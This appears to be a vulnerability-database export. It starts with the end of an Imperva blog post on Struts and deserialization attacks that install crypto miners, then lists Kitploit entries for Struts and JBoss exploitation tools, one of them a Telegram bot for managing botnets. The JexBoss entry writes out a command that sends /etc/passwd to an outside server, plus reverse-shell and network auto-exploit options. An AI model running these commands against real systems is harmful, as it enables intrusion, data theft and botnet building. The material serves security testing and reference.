payload, this time at the \u201cContent-Type\u201d header.\n\n[![Attack vector using RCE vulnerability of Apache Struts fig 8](https://www.imperva.com/blog/wp-content/uploads/2018/01/Attack-vector-using-RCE-vulnerability-of-Apache-Struts-fig-8.jpg)](<https://www.imperva.com/blog/wp-content/uploads/2018/01/Attack-vector-using-RCE-vulnerability-of-Apache-Struts-fig-8.jpg>)\n\n_Figure 8: Attack vector using an RCE vulnerability of Apache Struts_\n\nThis attack tries to exploit **CVE-2017-5638**, a well-known RCE vulnerability related to Apache Struts which was published in March 2017 and was covered in a [previous blog post](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>).\n\nWhen it was originally published we saw no indications of crypto miners in the attacks\u2019 payloads related to this CVE, and most of the payloads were reconnaissance attacks.\n\nHowever, in this attack the payload (marked in yellow above) is very similar to the payload from the previous example. Using the same remote server and the exact same script, it infected the server with crypto mining malware.\n\nThis old attack method with a new payload suggests a new trend in the cyber arena \u2013 attackers try to exploit RCE vulnerabilities, new and old, to turn vulnerable servers into crypto miners and get a faster ROI for their \u201ceffort\u201d.\n\n## Recommendations\n\nGiven the many new vulnerabilities related to insecure deserialization that were discovered this year, and its appearance in the OWASP top 10 security risks, we expect to see newer related vulnerabilities released in 2018. In the meantime, organizations using affected servers are advised to use the latest patch to mitigate these vulnerabilities.\n\nAn alternative to manual patching is virtual patching. Virtual patching actively protects web applications from attacks, reducing the window of exposure and decreasing the cost of emergency patches and fix cycles.\n\nA WAF that provides virtual patching doesn\u2019t interfere with the normal application workflow, and keeps the site protected while allowing the site owners to control the patching process timeline.\n\nLearn more about how to protect your web applications from vulnerabilities with [Imperva WAF solutions](<https://www.imperva.com/products/application-security/web-application-firewall-waf/>).", "edition": 2, "cvss3": {}, "published": "2018-01-24T17:45:08", "type": "impervablog", "title": "Deserialization Attacks Surge Motivated by Illegal Crypto-mining", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-4858", "CVE-2015-3253", "CVE-2015-4852", "CVE-2015-5254", "CVE-2015-5348", "CVE-2015-6420", "CVE-2015-6555", "CVE-2015-6576", "CVE-2015-6934", "CVE-2015-7253", "CVE-2015-7450", "CVE-2015-7501", "CVE-2015-8103", "CVE-2015-8237", "CVE-2015-8238", "CVE-2015-8360", "CVE-2015-8545", "CVE-2015-8581", "CVE-2015-8765", "CVE-2016-0714", "CVE-2016-0779", "CVE-2016-0788", "CVE-2016-0958", "CVE-2016-1291", "CVE-2016-1487", "CVE-2016-1985", "CVE-2016-1986", "CVE-2016-1997", "CVE-2016-1998", "CVE-2016-1999", "CVE-2016-2000", "CVE-2016-2003", "CVE-2016-2170", "CVE-2016-2173", "CVE-2016-2510", "CVE-2016-3415", "CVE-2016-3427", "CVE-2016-3461", "CVE-2016-3642", "CVE-2016-4372", "CVE-2016-4385", "CVE-2016-5004", "CVE-2016-5229", "CVE-2016-6809", "CVE-2016-7462", "CVE-2016-8735", "CVE-2016-8744", "CVE-2016-8749", "CVE-2016-9299", "CVE-2016-9606", "CVE-2017-1000353", "CVE-2017-10271", "CVE-2017-11283", "CVE-2017-11284", "CVE-2017-12149", "CVE-2017-2608", "CVE-2017-3066", "CVE-2017-3159", "CVE-2017-5586", "CVE-2017-5638", "CVE-2017-5641", "CVE-2017-5645", "CVE-2017-5878", "CVE-2017-7504", "CVE-2017-9805", "CVE-2017-9830", "CVE-2017-9844"], "modified": "2018-01-24T17:45:08", "id": "IMPERVABLOG:4F187FDBA230373382F26BA12E00F8E7", "href": "https://www.imperva.com/blog/2018/01/deserialization-attacks-surge-motivated-by-illegal-crypto-mining/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "kitploit": [{"lastseen": "2020-12-09T05:25:55", "description": "[ ![](https://2.bp.blogspot.com/-XZN2TA7nQZ0/WGSL3ia76KI/AAAAAAAAGuE/8pxmxtrizn8Yu1Y6iIArXYBgsL3Rhww3ACLcB/s320/telegram-bot.png) ](<https://2.bp.blogspot.com/-XZN2TA7nQZ0/WGSL3ia76KI/AAAAAAAAGuE/8pxmxtrizn8Yu1Y6iIArXYBgsL3Rhww3ACLcB/s1600/telegram-bot.png>)\n\n \nTelegram Bot to manage botnets created with struts vulnerability(CVE-2017-5638) \n \n** Dependencies ** \n\n \n \n pip install -r requeriments.txt \n\n \n** Config ** \n\n \n \n Create a telegram bot, save the API token in config/token.conf\n Create a telegram group, save the group id in config/group.conf\n\n \n** Start ** \npython strutszeiro.py \n \n** Telegram Usage ** \n\n \n \n /add url - test vulnerability and add the new server\n /exploit url *cmd - execute commands in a specific server (you need to use the * caracter)\n /botnet cmd - execute commands in all servers\n /list - show all servers in botnet\n /total - show total of servers in botnet\n\nThanks to [ @btamburi ](<https://twitter.com/BrenoTamburi>) \n \n \n\n\n** [ Download strutszeiro ](<https://github.com/mthbernardes/strutszeiro>) **\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-03-14T17:30:13", "type": "kitploit", "title": "strutszeiro - Telegram Bot to manage botnets created with struts vulnerability (CVE-2017-5638)", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-14T17:30:13", "id": "KITPLOIT:9079806502812490909", "href": "http://www.kitploit.com/2017/03/strutszeiro-telegram-bot-to-manage.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-08T13:22:28", "description": "[ ![](https://2.bp.blogspot.com/-11EAxL668ng/WMfWw388UFI/AAAAAAAAHa8/FeOT6wUDm_s_Ro41Cs6Ttq7cMXH5BPATQCLcB/s1600/struts-pwn.png) ](<https://2.bp.blogspot.com/-11EAxL668ng/WMfWw388UFI/AAAAAAAAHa8/FeOT6wUDm_s_Ro41Cs6Ttq7cMXH5BPATQCLcB/s1600/struts-pwn.png>)\n\n \n** An exploit for Apache Struts CVE-2017-5638 ** \n \n** ** Usage ** ** \n \n** Testing a single URL. ** \n\n \n \n python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id'\n\n \n** Testing a list of URLs. ** \n\n \n \n python struts-pwn.py --list 'urls.txt' -c 'id'\n\n \n** Checking if the vulnerability exists against a single URL. ** \n\n \n \n python struts-pwn.py --check --url 'http://example.com/struts2-showcase/index.action'\n\n \n** Checking if the vulnerability exists against a list of URLs. ** \n\n \n \n python struts-pwn.py --check --list 'urls.txt'\n\n \n** ** Requirements ** ** \n\n\n * Python2 or Python3 \n * requests \n \n** ** Legal Disclaimer ** ** \nThis project is made for educational and ethical testing purposes only. Usage of struts-pwn for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. \n \n** ** Author ** ** \n_ Mazin Ahmed _ \n\n\n * Website: [ https://mazinahmed.net ](<https://mazinahmed.net/>)\n * Email: _ mazin AT mazinahmed DOT net _\n * Twitter: [ https://twitter.com/mazen160 ](<https://twitter.com/mazen160>)\n * Linkedin: [ http://linkedin.com/in/infosecmazinahmed ](<https://linkedin.com/in/infosecmazinahmed>)\n \n\n\n** [ Download struts-pwn ](<https://github.com/mazen160/struts-pwn>) **\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-03-14T13:34:05", "type": "kitploit", "title": "struts-pwn - An exploit for Apache Struts CVE-2017-5638", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-14T13:34:05", "id": "KITPLOIT:1841841790447853746", "href": "http://www.kitploit.com/2017/03/struts-pwn-exploit-for-apache-struts.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-08T23:25:28", "description": "[ ![](https://4.bp.blogspot.com/-ueegtNhcGOM/WMtkR8p9hRI/AAAAAAAAHbo/eHq-bF-Q2GgzOPgzXd9XIaTs4L-JlNr7wCLcB/s640/Struts2Shell.png) ](<https://4.bp.blogspot.com/-ueegtNhcGOM/WMtkR8p9hRI/AAAAAAAAHbo/eHq-bF-Q2GgzOPgzXd9XIaTs4L-JlNr7wCLcB/s1600/Struts2Shell.png>)\n\n \nImproves manipulation and sending commands to the vulnerable Apache Struts server using a shell. \n \n** Usage: ** \n\n \n \n python Struts2Shell.py\n\n \n\n\n** [ Download Struts2Shell ](<https://github.com/s1kr10s/Struts2Shell>) **\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-03-17T14:22:01", "type": "kitploit", "title": "Struts2Shell - Interactive Shell Command to Exploit Apache Struts CVE-2017-5638", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-17T14:22:01", "id": "KITPLOIT:2304674796555328667", "href": "http://www.kitploit.com/2017/03/struts2shell-interactive-shell-command.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-04-07T12:04:34", "description": " \n\n\n[![](https://3.bp.blogspot.com/-MKbYVQXvBz0/W4LReq3_cJI/AAAAAAAAMQ0/WgNhU5_o5cIwFs69p3T2YIf3xObo_rAtgCLcBGAs/s640/Apache-Struts-v3_1_screen.png)](<https://3.bp.blogspot.com/-MKbYVQXvBz0/W4LReq3_cJI/AAAAAAAAMQ0/WgNhU5_o5cIwFs69p3T2YIf3xObo_rAtgCLcBGAs/s1600/Apache-Struts-v3_1_screen.png>)\n\n \nScript contains the fusion of 3 RCE vulnerabilities on ApacheStruts, it also has the ability to create server shells. \n \n**SHELL** \n**php** `finished` \n**jsp** `process` \n \n**CVE ADD** \n**CVE-2013-2251** `'action:', 'redirect:' and 'redirectAction'` \n**CVE-2017-5638** `Content-Type` \n**CVE-2018-11776** `'redirect:' and 'redirectAction'` \n \n \n\n\n**[Download Apache-Struts-v3](<https://github.com/s1kr10s/Apache-Struts-v3>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-08-26T21:14:00", "type": "kitploit", "title": "Apache Struts v3 - Tool To Exploit 3 RCE Vulnerabilities On ApacheStruts", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-2251", "CVE-2017-5638", "CVE-2018-11776"], "modified": "2018-08-26T21:14:01", "id": "KITPLOIT:4611207874033525364", "href": "http://www.kitploit.com/2018/08/apache-struts-v3-tool-to-exploit-3-rce.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-01-11T13:20:33", "description": "JexBoss is a tool for testing and exploiting [ vulnerabilities ](<https://www.kitploit.com/search/label/vulnerabilities>) in JBoss Application Server and others Java Platforms, Frameworks, Applications, etc. \n \n** Requirements ** \n\n\n * Python >= 2.7.x \n * [ urllib3 ](<https://pypi.python.org/pypi/urllib3>)\n * [ ipaddress ](<https://pypi.python.org/pypi/ipaddress>)\n \n** Installation on Linux\\Mac ** \nTo install the latest version of JexBoss, please use the following commands: \n\n \n \n git clone https://github.com/joaomatosf/jexboss.git\n cd jexboss\n pip install -r requires.txt\n python jexboss.py -h\n python jexboss.py -host http://target_host:8080\n \n OR:\n \n Download the latest version at: https://github.com/joaomatosf/jexboss/archive/master.zip\n unzip master.zip\n cd jexboss-master\n pip install -r requires.txt\n python jexboss.py -h\n python jexboss.py -host http://target_host:8080\n\nIf you are using CentOS with Python 2.6, please install Python2.7. Installation example of the Python 2.7 on CentOS using Collections Software scl: \n\n \n \n yum -y install centos-release-scl\n yum -y install python27\n scl enable python27 bash\n\n \n** Installation on Windows ** \nIf you are using Windows, you can use the [ Git Bash ](<https://github.com/git-for-windows/git/releases/tag/v2.10.1.windows.1>) to run the JexBoss. Follow the steps below: \n\n\n * Download and install [ Python ](<https://www.python.org/downloads/release/python-2712/>)\n * Download and install [ Git for Windows ](<https://github.com/git-for-windows/git/releases/tag/v2.10.1.windows.1>)\n * After installing, run the Git for Windows and type the following commands: \n \n \n PATH=$PATH:C:\\Python27\\\n PATH=$PATH:C:\\Python27\\Scripts\n git clone https://github.com/joaomatosf/jexboss.git\n cd jexboss\n pip install -r requires.txt\n python jexboss.py -h\n python jexboss.py -host http://target_host:8080\n \n\n \n** Features ** \nThe tool and [ exploits ](<https://www.kitploit.com/search/label/Exploits>) were developed and tested for: \n\n\n * JBoss Application Server versions: 3, 4, 5 and 6. \n * Java Deserialization Vulnerabilities in multiple java frameworks, platforms and applications (e.g., Java Server Faces - JSF, Seam Framework, RMI over HTTP, Jenkins CLI RCE (CVE-2015-5317), Remote JMX (CVE-2016-3427, CVE-2016-8735), etc) \nThe exploitation vectors are: \n\n\n * /admin-console \n * tested and working in JBoss versions 5 and 6 \n * /jmx-console \n * tested and working in JBoss versions 4, 5 and 6 \n * /web-console/Invoker \n * tested and working in JBoss versions 4, 5 and 6 \n * /invoker/JMXInvokerServlet \n * tested and working in JBoss versions 4, 5 and 6 \n * Application Deserialization \n * tested and working against multiple java applications, platforms, etc, via HTTP POST Parameters \n * Servlet Deserialization \n * tested and working against multiple java applications, platforms, etc, via servlets that process serialized objets (e.g. when you see an \"Invoker\" in a link) \n * Apache Struts2 CVE-2017-5638 \n * tested in [ Apache Struts ](<https://www.kitploit.com/search/label/Apache%20Struts>) 2 applications \n * Others \n \n** Videos ** \n\n\n * Exploiting Java Deserialization Vulnerabilities (RCE) on JSF/Seam Applications via javax.faces.ViewState with JexBoss \n\n \n\n\n * Exploiting JBoss Application Server with JexBoss \n\n \n\n\n * Exploiting Apache Struts2 (RCE) with Jexboss (CVE-2017-5638) \n\n \n \n** Screenshots ** \n\n\n * Simple usage examples: \n \n \n $ python jexboss.py\n\n \n\n\n[ ![](https://2.bp.blogspot.com/-alewUh8TXc0/Wi9wFJdgWpI/AAAAAAAAJo4/87dRBMNedWgmHohXnwzK2I0FJgcN0zBpwCLcBGAs/s640/jexboss_4_simple_usage_help.png) ](<https://2.bp.blogspot.com/-alewUh8TXc0/Wi9wFJdgWpI/AAAAAAAAJo4/87dRBMNedWgmHohXnwzK2I0FJgcN0zBpwCLcBGAs/s1600/jexboss_4_simple_usage_help.png>)\n\n \n\n\n * Example of standalone mode against JBoss: \n \n \n $ python jexboss.py -u http://192.168.0.26:8080\n\n \n\n\n[ ![](https://3.bp.blogspot.com/-fvaYj-MWERY/Wi9wOYLDowI/AAAAAAAAJpA/5tecs4RFkyouaO4sQ20qq5gIgeHoc_VrgCLcBGAs/s640/jexboss_5_standalone_mode1.png) ](<https://3.bp.blogspot.com/-fvaYj-MWERY/Wi9wOYLDowI/AAAAAAAAJpA/5tecs4RFkyouaO4sQ20qq5gIgeHoc_VrgCLcBGAs/s1600/jexboss_5_standalone_mode1.png>)\n\n \n\n\n[ ![](https://4.bp.blogspot.com/-ERfHzmOvIpE/Wi9wOQNN7EI/AAAAAAAAJo8/sng_9BGOMLo7wSDXuCz-7XyIKxkgkl6VwCLcBGAs/s640/jexboss_6_standalone_mode2.png) ](<https://4.bp.blogspot.com/-ERfHzmOvIpE/Wi9wOQNN7EI/AAAAAAAAJo8/sng_9BGOMLo7wSDXuCz-7XyIKxkgkl6VwCLcBGAs/s1600/jexboss_6_standalone_mode2.png>)\n\n * Usage modes: \n \n \n $ python jexboss.py -h\n\n * Network scan mode: \n \n \n $ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt\n\n \n\n\n[ ![](https://4.bp.blogspot.com/-Hlq5rVHgHfI/Wi9wU1Z_sdI/AAAAAAAAJpE/Ep3uvTm2nM4A_doi2mJttKnPP3aqxM56gCLcBGAs/s640/jexboss_7_network_scan_mode.png) ](<https://4.bp.blogspot.com/-Hlq5rVHgHfI/Wi9wU1Z_sdI/AAAAAAAAJpE/Ep3uvTm2nM4A_doi2mJttKnPP3aqxM56gCLcBGAs/s1600/jexboss_7_network_scan_mode.png>)\n\n \n\n\n * Network scan with auto-exploit mode: \n \n \n $ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt\n\n \n\n\n[ ![](https://1.bp.blogspot.com/-OFuKod1ko5Q/Wi9wb07NaYI/AAAAAAAAJpI/DR6ESX-6VikK_zs7vDilROlUvaLzEykrACLcBGAs/s640/jexboss_8_scan_with_auto_exploit_mode.png) ](<https://1.bp.blogspot.com/-OFuKod1ko5Q/Wi9wb07NaYI/AAAAAAAAJpI/DR6ESX-6VikK_zs7vDilROlUvaLzEykrACLcBGAs/s1600/jexboss_8_scan_with_auto_exploit_mode.png>)\n\n \n\n\n * Results and recommendations: \n\n[ ![](https://3.bp.blogspot.com/-a6A8GBdXzWw/Wi9wgd_s8gI/AAAAAAAAJpM/XarXTIL4-wUMpFJwIr-Q9wOYkil5w76vQCLcBGAs/s640/jexboss_9_results_and_recommendations2.png) ](<https://3.bp.blogspot.com/-a6A8GBdXzWw/Wi9wgd_s8gI/AAAAAAAAJpM/XarXTIL4-wUMpFJwIr-Q9wOYkil5w76vQCLcBGAs/s1600/jexboss_9_results_and_recommendations2.png>)\n\n \n \n** Reverse Shell (meterpreter integration) ** \nAfter you exploit a JBoss server, you can use the own [ jexboss ](<https://www.kitploit.com/search/label/JexBoss>) command shell or perform a reverse connection using the following command: \n\n \n \n jexremote=YOUR_IP:YOUR_PORT\n \n Example:\n Shell>jexremote=192.168.0.10:4444\n\n * Example: [ ](<https://github.com/joaomatosf/jexboss/raw/master/screenshots/jexbossreverse2.jpg>)\n\n[ ![](https://4.bp.blogspot.com/-DTLzz6fknAc/Wi9wlav0sMI/AAAAAAAAJpQ/Au8e57VCaooIR0iX0fH3qqPHYZvsrDHoQCLcBGAs/s640/jexboss_10_jexbossreverse2.jpeg) ](<https://4.bp.blogspot.com/-DTLzz6fknAc/Wi9wlav0sMI/AAAAAAAAJpQ/Au8e57VCaooIR0iX0fH3qqPHYZvsrDHoQCLcBGAs/s1600/jexboss_10_jexbossreverse2.jpeg>)\n\n \n\n\nWhen exploiting java deserialization [ vulnerabilities ](<https://www.kitploit.com/search/label/vulnerabilities>) (Application Deserialization, Servlet Deserialization), the default options are: make a reverse shell connection or send a commando to execute. \n \n** Usage examples ** \n\n\n * For Java Deserialization Vulnerabilities in a custom HTTP parameter and to send a custom command to be executed on the exploited server: \n \n \n $ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl [email\u00a0protected]/etc/passwd http://your_server'\n\n * For Java Deserialization Vulnerabilities in a custom HTTP parameter and to make a reverse shell (this will ask for an IP address and port of your remote host): \n \n \n $ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name\n\n * For Java Deserialization Vulnerabilities in a Servlet (like Invoker): \n \n \n $ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize\n\n * For [ Apache Struts ](<https://www.kitploit.com/search/label/Apache%20Struts>) 2 (CVE-2017-5638) \n \n \n $ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2\n\n * For [ Apache Struts ](<https://www.kitploit.com/search/label/Apache%20Struts>) 2 (CVE-2017-5638) with [ cookies ](<https://www.kitploit.com/search/label/Cookies>) for authenticated resources \n \n \n $ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies \"JSESSIONID=24517D9075136F202DCE20E9C89D424D\"\n\n * Auto scan mode: \n \n \n $ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log\n\n * File scan mode: \n \n \n $ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log\n\n * More Options: \n \n \n optional arguments:\n -h, --help show this help message and exit\n --version show program's version number and exit\n --auto-exploit, -A Send exploit code automatically (USE ONLY IF YOU HAVE\n PERMISSION!!!)\n --disable-check-updates, -D\n Disable two updates checks: 1) Check for updates\n performed by the webshell in exploited server at\n http://webshell.jexboss.net/jsp_version.txt and 2)\n check for updates performed by the jexboss client at\n http://joaomatosf.com/rnp/releases.txt\n -mode {standalone,auto-scan,file-scan}\n Operation mode (DEFAULT: standalone)\n --app-unserialize, -j\n Check for java unserialization vulnerabilities in HTTP\n parameters (eg. javax.faces.ViewState, oldFormData,\n etc)\n --servlet-unserialize, -l\n Check for java unserialization vulnerabilities in\n Servlets (like Invoker interfaces)\n --jboss Check only for JBOSS vectors.\n --jenkins Check only for Jenkins CLI vector.\n --jmxtomcat Check JMX JmxRemoteLifecycleListener in Tomcat\n (CVE-2016-8735 and CVE-2016-8735). OBS: Will not be\n checked by default.\n --proxy PROXY, -P PROXY\n Use a http proxy to connect to the target URL (eg. -P\n http://192.168.0.1:3128)\n --proxy-cred LOGIN:PASS, -L LOGIN:PASS\n Proxy authentication credentials (eg -L name:password)\n --jboss-login LOGIN:PASS, -J LOGIN:PASS\n JBoss login and password for exploit admin-console in\n JBoss 5 and JBoss 6 (default: admin:admin)\n --timeout TIMEOUT Seconds to wait before timeout connection (default 3)\n \n Standalone mode:\n -host HOST, -u HOST Host address to be checked (eg. -u\n http://192.168.0.10:8080)\n \n Advanced Options (USE WHEN EXPLOITING JAVA UNSERIALIZE IN APP LAYER):\n --reverse-host RHOST:RPORT, -r RHOST:RPORT\n Remote host address and port for reverse shell when\n exploiting Java Deserialization Vulnerabilities in\n application layer (for now, working only against *nix\n systems)(eg. 192.168.0.10:1331)\n --cmd CMD, -x CMD Send specific command to run on target (eg. curl -d\n @/etc/passwd http://your_server)\n --windows, -w Specifies that the commands are for rWINDOWS System$\n (cmd.exe)\n --post-parameter PARAMETER, -H PARAMETER\n Specify the parameter to find and inject serialized\n objects into it. (egs. -H javax.faces.ViewState or -H\n oldFormData (<- Hi PayPal =X) or others) (DEFAULT:\n javax.faces.ViewState)\n --show-payload, -t Print the generated payload.\n --gadget {commons-collections3.1,commons-collections4.0,groovy1}\n Specify the type of Gadget to generate the payload\n automatically. (DEFAULT: commons-collections3.1 or\n groovy1 for JenKins)\n --load-gadget FILENAME\n Provide your own gadget from file (a java serialized\n object in RAW mode)\n --force, -F Force send java serialized gadgets to URL informed in\n -u parameter. This will send the payload in multiple\n formats (eg. RAW, GZIPED and BASE64) and with\n different Content-Types.\n \n Auto scan mode:\n -network NETWORK Network to be checked in CIDR format (eg. 10.0.0.0/8)\n -ports PORTS List of ports separated by commas to be checked for\n each host (eg. 8080,8443,8888,80,443)\n -results FILENAME File name to store the auto scan results\n \n File scan mode:\n -file FILENAME_HOSTS Filename with host list to be scanned (one host per\n line)\n -out FILENAME_RESULTS\n File name to store the file scan results\n \n\n \n \n\n\n** [ Download JexBoss ](<https://github.com/joaomatosf/jexboss>) **\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-12-18T21:12:00", "type": "kitploit", "title": "JexBoss - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-5317", "CVE-2016-3427", "CVE-2016-8735", "CVE-2017-5638"], "modified": "2017-12-18T21:14:35", "id": "KITPLOIT:5230099254245458698", "href": "http://www.kitploit.com/2017/12/jexboss-jboss-and-others-java.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-04-07T12:04:21", "description": "[![](https://4.bp.blogspot.com/-P3_9VWnPhLw/WzvPRBF6q3I/AAAAAAAALtk/nE4XtcDGmXELo4KLTzEDoCiNMEgF0VJAACLcBGAs/s640/Sn1per_1_Sn1per.jpeg)](<https://4.bp.blogspot.com/-P3_9VWnPhLw/WzvPRBF6q3I/AAAAAAAALtk/nE4XtcDGmXELo4KLTzEDoCiNMEgF0VJAACLcBGAs/s1600/Sn1per_1_Sn1per.jpeg>)\n\n \n\n\nSn1per Community Edition is an [automated scanner](<https://www.kitploit.com/search/label/Automated%20scanner>) that can be used during a [penetration test](<https://www.kitploit.com/search/label/Penetration%20Test>) to enumerate and scan for vulnerabilities. Sn1per Professional is Xero Security's premium reporting addon for Professional Penetration Testers, Bug Bounty Researchers and Corporate Security teams to manage large environments and pentest scopes.\n\n \n**SN1PER PROFESSIONAL FEATURES:** \n \n**Professional reporting interface** \n \n\n\n[![](https://3.bp.blogspot.com/-CUaHGxKs7i8/WzvPDvnvnUI/AAAAAAAALtg/6NzvIUFvET0YO8X9SXkxbSXD51R9dgn_QCLcBGAs/s640/Sn1per_8.png)](<https://3.bp.blogspot.com/-CUaHGxKs7i8/WzvPDvnvnUI/AAAAAAAALtg/6NzvIUFvET0YO8X9SXkxbSXD51R9dgn_QCLcBGAs/s1600/Sn1per_8.png>)\n\n \n**Slideshow for all gathered screenshots** \n 